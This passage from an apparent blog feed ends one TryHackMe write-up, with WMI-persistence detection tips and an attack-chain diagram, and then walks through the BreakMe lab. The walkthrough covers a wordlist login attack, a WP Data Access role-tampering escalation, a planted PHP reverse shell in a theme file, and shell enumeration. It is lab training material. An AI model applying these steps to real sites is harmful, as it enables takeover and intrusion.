&lt;li&gt;Alert on &lt;code&gt;Reflection.Assembly.Load&lt;/code&gt; / &lt;code&gt;.EntryPoint.Invoke&lt;/code&gt; patterns in captured script blocks - reflective, in-memory .NET assembly loading from PowerShell is a strong red flag with very few legitimate use cases.&lt;/li&gt;
&lt;li&gt;Baseline and alert on local account creation (&lt;code&gt;net user /add&lt;/code&gt;, &lt;code&gt;New-LocalUser&lt;/code&gt;) outside of change-managed windows, especially when the parent process chain traces back through &lt;code&gt;WmiPrvSE.exe&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Attack Chain
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[CIM repository dump: INDEX.BTR + MAPPING1-3.MAP + OBJECTS.DATA]
        |
        v
[identified as C:\Windows\System32\wbem\Repository via filenames + schema strings]
        |
        v
[direct "THM{" / "flag" / "ctf" string search - all false positives, stock WMI schema]
        |
        v
[targeted search for -enc / powershell / IEX -&amp;gt; hits CommandLineEventConsumer]
        |
        v
[CommandLineEventConsumer runs: cmd /C powershell.exe -enc &amp;lt;base64&amp;gt;]
        |
        v
[stage 1 decoded: reads ROOT\cimv2:Win32_HardwareTelemetry.ConfigData]
        |
        v
[ConfigData located in OBJECTS.DATA -&amp;gt; base64-decoded -&amp;gt; raw DEFLATE decompressed]
        |
        v
[stage 2 recovered: 4KB .NET assembly (payload.exe), loaded via Reflection.Assembly.Load]
        |
        v
[reversed: checks Environment.MachineName == "bytelotusdc"]
        |
        v
[if matched: cmd.exe /c net user patch &amp;lt;base64&amp;gt; /add]
        |
        v
[base64 password decoded -&amp;gt; flag]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



</description>
      <category>cybersecurity</category>
      <category>ctf</category>
      <category>writeup</category>
      <category>tryhackme</category>
    </item>
    <item>
      <title>TryHackMe : BreakMe Writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Sat, 08 Aug 2026 03:12:30 +0000</pubDate>
      <link>https://dev.to/exploitnotes/tryhackme-breakme-writeup-3012</link>
      <guid>https://dev.to/exploitnotes/tryhackme-breakme-writeup-3012</guid>
      <description>&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;BreakMe is a Debian box running Apache with a WordPress install under &lt;code&gt;/wordpress&lt;/code&gt;. A vulnerable&lt;br&gt;
plugin (&lt;strong&gt;WP Data Access 5.3.5&lt;/strong&gt;) lets a low-privileged WordPress user escalate to Administrator by&lt;br&gt;
tampering with a profile-update request. From there, the WordPress Theme Editor gives arbitrary&lt;br&gt;
PHP execution, landing a &lt;code&gt;www-data&lt;/code&gt; shell. An internal-only web service on port 9999 turns out to&lt;br&gt;
be vulnerable to OS command injection, pivoting to the user &lt;code&gt;john&lt;/code&gt;. From &lt;code&gt;john&lt;/code&gt;, a &lt;strong&gt;TOCTOU race&lt;br&gt;
condition&lt;/strong&gt; against a SUID binary owned by &lt;code&gt;youcef&lt;/code&gt; leaks &lt;code&gt;youcef&lt;/code&gt;'s SSH private key, which is&lt;br&gt;
then cracked offline to get a shell as &lt;code&gt;youcef&lt;/code&gt;. Finally, a restricted &lt;code&gt;sudo&lt;/code&gt; rule lets &lt;code&gt;youcef&lt;/code&gt;&lt;br&gt;
run a &lt;strong&gt;Python "jail" script as root&lt;/strong&gt;, which is escaped using &lt;code&gt;str.swapcase()&lt;/code&gt; to defeat a&lt;br&gt;
keyword blacklist, giving a full root shell. Full attack chain is diagrammed at the end.&lt;/p&gt;
&lt;h2&gt;
  
  
  Recon
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-A&lt;/span&gt; &lt;span class="nt"&gt;-Pn&lt;/span&gt; &amp;lt;TARGET_IP&amp;gt; &lt;span class="nt"&gt;-o&lt;/span&gt; nmap
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Two open ports:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;th&gt;Version&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;22&lt;/td&gt;
&lt;td&gt;ssh&lt;/td&gt;
&lt;td&gt;OpenSSH 8.4p1 Debian 5+deb11u1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;80&lt;/td&gt;
&lt;td&gt;http&lt;/td&gt;
&lt;td&gt;Apache 2.4.56 (Debian)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The root of the web server just serves the default "Apache2 Debian Default Page". Content&lt;br&gt;
discovery was needed to find anything interesting.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;dirsearch &lt;span class="nt"&gt;-u&lt;/span&gt; http://&amp;lt;TARGET_IP&amp;gt;/ &lt;span class="nt"&gt;-C&lt;/span&gt; 403,404
ffuf &lt;span class="nt"&gt;-u&lt;/span&gt; http://&amp;lt;TARGET_IP&amp;gt;/ &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"HOST: FUZZ.&amp;lt;TARGET_IP&amp;gt;"&lt;/span&gt; &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt &lt;span class="nt"&gt;-ac&lt;/span&gt;
ffuf &lt;span class="nt"&gt;-u&lt;/span&gt; http://&amp;lt;TARGET_IP&amp;gt;/FUZZ &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/wordlists/dirb/big.txt
feroxbuster &lt;span class="nt"&gt;-u&lt;/span&gt; http://&amp;lt;TARGET_IP&amp;gt;/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;ffuf&lt;/code&gt;/&lt;code&gt;feroxbuster&lt;/code&gt; against &lt;code&gt;big.txt&lt;/code&gt; turned up two directories of interest:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;manual                  [Status: 301, Size: 313, ...]
wordpress               [Status: 301, Size: 316, ...]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;/manual/&lt;/code&gt; is just the stock Apache manual (noise). &lt;code&gt;/wordpress/&lt;/code&gt; is the real target - a live&lt;br&gt;
WordPress site called "Breakme".&lt;/p&gt;
&lt;h2&gt;
  
  
  Enumeration - WordPress
&lt;/h2&gt;

&lt;p&gt;Fetching &lt;code&gt;/wordpress/&lt;/code&gt; shows a WordPress site using the &lt;strong&gt;Twenty Twenty-Four&lt;/strong&gt; theme, generator&lt;br&gt;
tag confirming &lt;strong&gt;WordPress 6.4.3&lt;/strong&gt;, and a plugin reference to &lt;code&gt;wp-data-access&lt;/code&gt; in the page source.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;wpscan&lt;/code&gt; was used to enumerate plugins, users, and versions:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;wpscan &lt;span class="nt"&gt;--url&lt;/span&gt; http://&amp;lt;TARGET_IP&amp;gt;/wordpress/ &lt;span class="nt"&gt;--api-token&lt;/span&gt; &amp;lt;TOKEN&amp;gt; &lt;span class="nt"&gt;-e&lt;/span&gt; vp,vt,u
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Key findings:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;WordPress 6.4.3&lt;/strong&gt; - outdated, several disclosed vulnerabilities.&lt;/li&gt;
&lt;li&gt;Plugin &lt;strong&gt;WP Data Access&lt;/strong&gt;, version &lt;strong&gt;5.3.5&lt;/strong&gt; - badly outdated (latest at the time was 5.5.80),
with multiple known CVEs including an unauthenticated SQL injection and, critically, a
&lt;strong&gt;privilege escalation&lt;/strong&gt; bug (CVE-2023-1874, fixed in 5.3.8).&lt;/li&gt;
&lt;li&gt;Users enumerated via REST API / author brute force: &lt;strong&gt;admin&lt;/strong&gt;, &lt;strong&gt;bob&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A password attack against &lt;code&gt;wp-login&lt;/code&gt; with the two known usernames found valid credentials:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;wpscan &lt;span class="nt"&gt;--url&lt;/span&gt; http://&amp;lt;TARGET_IP&amp;gt;/wordpress/ &lt;span class="nt"&gt;-U&lt;/span&gt; admin,bob &lt;span class="nt"&gt;-P&lt;/span&gt; /usr/share/wordlists/rockyou.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[SUCCESS] - bob / soccer
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Initial Foothold - Privilege Escalation to WordPress Administrator
&lt;/h2&gt;

&lt;p&gt;Logging in as &lt;code&gt;bob&lt;/code&gt; (&lt;code&gt;bob / soccer&lt;/code&gt;) lands on a normal Subscriber/Author-level dashboard - not an&lt;br&gt;
admin. The outdated &lt;strong&gt;WP Data Access&lt;/strong&gt; plugin is known to be vulnerable to a privilege escalation&lt;br&gt;
issue, documented by Wordfence:&lt;br&gt;
&lt;a href="https://www.wordfence.com/blog/2023/04/privilege-escalation-vulnerability-patched-promptly-in-wp-data-access-wordpress-plugin/" rel="noopener noreferrer"&gt;Privilege Escalation Vulnerability Patched Promptly in WP Data Access WordPress Plugin&lt;/a&gt;.&lt;br&gt;
The plugin adds an extra parameter, &lt;code&gt;wpda_role[]&lt;/code&gt;, to the profile-update form that isn't properly&lt;br&gt;
authorized server-side.&lt;/p&gt;

&lt;p&gt;The exploitation is simple request tampering:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Go to &lt;code&gt;Profile&lt;/code&gt; in the WordPress admin dashboard as &lt;code&gt;bob&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Intercept the &lt;code&gt;POST /wordpress/wp-admin/profile.php&lt;/code&gt; request in Burp Suite when clicking
"Update Profile".&lt;/li&gt;
&lt;li&gt;Append &lt;code&gt;&amp;amp;wpda_role[]=administrator&lt;/code&gt; to the POST body.&lt;/li&gt;
&lt;li&gt;Forward the request, refresh the dashboard.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;code&gt;bob&lt;/code&gt; is now listed as an &lt;strong&gt;Administrator&lt;/strong&gt; alongside &lt;code&gt;admin&lt;/code&gt;.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; getting a value wrong here can lock you out of the dashboard entirely, requiring a&lt;br&gt;
machine restart - worth being careful and double-checking the request before forwarding.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;
  
  
  Remote Code Execution - Theme Editor
&lt;/h2&gt;

&lt;p&gt;With Administrator access, the built-in &lt;strong&gt;Theme File Editor&lt;/strong&gt; (&lt;code&gt;Appearance &amp;gt; Theme File Editor&lt;/code&gt; /&lt;br&gt;
&lt;code&gt;Tools &amp;gt; Theme File Editor&lt;/code&gt;) allows editing arbitrary PHP files inside any installed theme. This&lt;br&gt;
is a well-documented WordPress admin-panel-to-RCE technique, covered by HackTricks:&lt;br&gt;
&lt;a href="https://hacktricks.wiki/en/network-services-pentesting/pentesting-web/wordpress.html#panel-rce" rel="noopener noreferrer"&gt;WordPress - Panel RCE&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Steps:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Select a theme that isn't the active one and has a template with a &lt;code&gt;.php&lt;/code&gt; extension - in this
case, &lt;strong&gt;Twenty Twenty-One&lt;/strong&gt; has &lt;code&gt;404.php&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Paste a PHP reverse shell (pentestmonkey's classic payload, grabbed from revshells.com) into
&lt;code&gt;404.php&lt;/code&gt; and click "Update File".&lt;/li&gt;
&lt;li&gt;Trigger the payload by requesting the file directly:
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://&amp;lt;TARGET_IP&amp;gt;/wordpress/wp-content/themes/twentytwentyone/404.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Caught the callback with &lt;code&gt;penelope&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;penelope &lt;span class="nt"&gt;-p&lt;/span&gt; 4444 listen
&lt;span class="o"&gt;[&lt;/span&gt;+] &lt;span class="o"&gt;[&lt;/span&gt;New Reverse Shell] &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; Breakme &amp;lt;TARGET_IP&amp;gt; Linux-x86_64 👤 www-data&lt;span class="o"&gt;(&lt;/span&gt;33&lt;span class="o"&gt;)&lt;/span&gt; Session ID &amp;lt;1&amp;gt;
&lt;span class="o"&gt;[&lt;/span&gt;+] Upgrading shell to PTY...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;www-data@Breakme:/&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;whoami
&lt;/span&gt;www-data
www-data@Breakme:/&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;id
&lt;/span&gt;&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;33&lt;span class="o"&gt;(&lt;/span&gt;www-data&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;33&lt;span class="o"&gt;(&lt;/span&gt;www-data&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;33&lt;span class="o"&gt;(&lt;/span&gt;www-data&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Post-Exploitation Recon as www-data
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;www-data@Breakme:/&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; /home
john  lost+found  youcef
www-data@Breakme:/&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/passwd | &lt;span class="nb"&gt;grep &lt;/span&gt;bash
root:x:0:0:root:/root:/bin/bash
john:x:1002:1002:john wick,14,14,14:/home/john:/bin/bash
youcef:x:1000:1000:youcef,17,17,17:/home/youcef:/bin/bash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Both &lt;code&gt;john&lt;/code&gt; and &lt;code&gt;youcef&lt;/code&gt;'s home directories, and &lt;code&gt;john&lt;/code&gt;'s flag (&lt;code&gt;user1.txt&lt;/code&gt;), are permission-denied&lt;br&gt;
from &lt;code&gt;www-data&lt;/code&gt;. Checking listening services:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;www-data@Breakme:/&lt;span class="nv"&gt;$ &lt;/span&gt;ss &lt;span class="nt"&gt;-tulnp&lt;/span&gt;
tcp   LISTEN   127.0.0.1:3306       &lt;span class="c"&gt;# MySQL, local only&lt;/span&gt;
tcp   LISTEN   127.0.0.1:9999       &lt;span class="c"&gt;# interesting - internal only&lt;/span&gt;
tcp   LISTEN   0.0.0.0:22
tcp   LISTEN   &lt;span class="k"&gt;*&lt;/span&gt;:80
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Port &lt;code&gt;9999&lt;/code&gt; is only bound to loopback, so it's not reachable from outside - but &lt;code&gt;www-data&lt;/code&gt; can&lt;br&gt;
reach it locally:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;www-data@Breakme:/&lt;span class="nv"&gt;$ &lt;/span&gt;curl http://localhost:9999/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;html&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;head&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;title&amp;gt;&lt;/span&gt;Test&lt;span class="nt"&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;style&amp;gt;&lt;/span&gt;
                &lt;span class="nc"&gt;.checkTarget&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nl"&gt;position&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nb"&gt;absolute&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nl"&gt;width&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;calc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;30%&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="nl"&gt;height&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="m"&gt;450px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nl"&gt;top&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;calc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;10%&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
                &lt;span class="nl"&gt;left&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;calc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;2.5%&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="nl"&gt;border&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="m"&gt;3px&lt;/span&gt; &lt;span class="nb"&gt;solid&lt;/span&gt; &lt;span class="no"&gt;green&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nl"&gt;border-radius&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="m"&gt;5%&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
                &lt;span class="nl"&gt;background-color&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nb"&gt;rgb&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;180&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="m"&gt;220&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="m"&gt;180&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="nl"&gt;text-align&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nb"&gt;center&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
                &lt;span class="nc"&gt;.checkUser&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nl"&gt;position&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nb"&gt;absolute&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nl"&gt;width&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;calc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;30%&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="nl"&gt;height&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="m"&gt;450px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nl"&gt;top&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;calc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;10%&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
                &lt;span class="nl"&gt;left&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;calc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;35%&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="nl"&gt;border&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="m"&gt;3px&lt;/span&gt; &lt;span class="nb"&gt;solid&lt;/span&gt; &lt;span class="no"&gt;green&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nl"&gt;border-radius&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="m"&gt;5%&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
                &lt;span class="nl"&gt;background-color&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nb"&gt;rgb&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;180&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="m"&gt;220&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="m"&gt;180&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="nl"&gt;text-align&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nb"&gt;center&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
                &lt;span class="nc"&gt;.checkFile&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nl"&gt;position&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nb"&gt;absolute&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nl"&gt;width&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;calc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;30%&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="nl"&gt;height&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="m"&gt;450px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nl"&gt;top&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;calc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;10%&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
                &lt;span class="nl"&gt;left&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;calc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;67.5%&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="nl"&gt;border&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="m"&gt;3px&lt;/span&gt; &lt;span class="nb"&gt;solid&lt;/span&gt; &lt;span class="no"&gt;green&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nl"&gt;border-radius&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="m"&gt;5%&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
                &lt;span class="nl"&gt;background-color&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nb"&gt;rgb&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;180&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="m"&gt;220&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="m"&gt;180&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="nl"&gt;text-align&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nb"&gt;center&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
                &lt;span class="nt"&gt;body&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nl"&gt;background-color&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nb"&gt;rgb&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;200&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="m"&gt;200&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="m"&gt;200&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;/style&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/head&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;body&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;h1&lt;/span&gt; &lt;span class="na"&gt;style=&lt;/span&gt;&lt;span class="s"&gt;"color:rgb(50,100,50);"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;My Tools:&lt;span class="nt"&gt;&amp;lt;/h1&amp;gt;&lt;/span&gt;
        &lt;span class="c"&gt;&amp;lt;!--Only numerical IPs allowed --&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"container"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;form&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"checkTarget"&lt;/span&gt; &lt;span class="na"&gt;method=&lt;/span&gt;&lt;span class="s"&gt;"POST"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
                &lt;span class="nt"&gt;&amp;lt;h3&amp;gt;&lt;/span&gt;Check Target:&lt;span class="nt"&gt;&amp;lt;/h3&amp;gt;&lt;/span&gt;
                &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"cmd1"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;placeholder=&lt;/span&gt;&lt;span class="s"&gt;"Target IP"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
                &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"submit"&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"Run"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
                &lt;span class="nt"&gt;&amp;lt;h3&amp;gt;&lt;/span&gt;Result:&lt;span class="nt"&gt;&amp;lt;/h3&amp;gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"output"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;pre&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;/form&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;form&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"checkUser"&lt;/span&gt; &lt;span class="na"&gt;method=&lt;/span&gt;&lt;span class="s"&gt;"POST"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
                &lt;span class="nt"&gt;&amp;lt;h3&amp;gt;&lt;/span&gt;Check User:&lt;span class="nt"&gt;&amp;lt;/h3&amp;gt;&lt;/span&gt;
                &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"cmd2"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;placeholder=&lt;/span&gt;&lt;span class="s"&gt;"User name"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
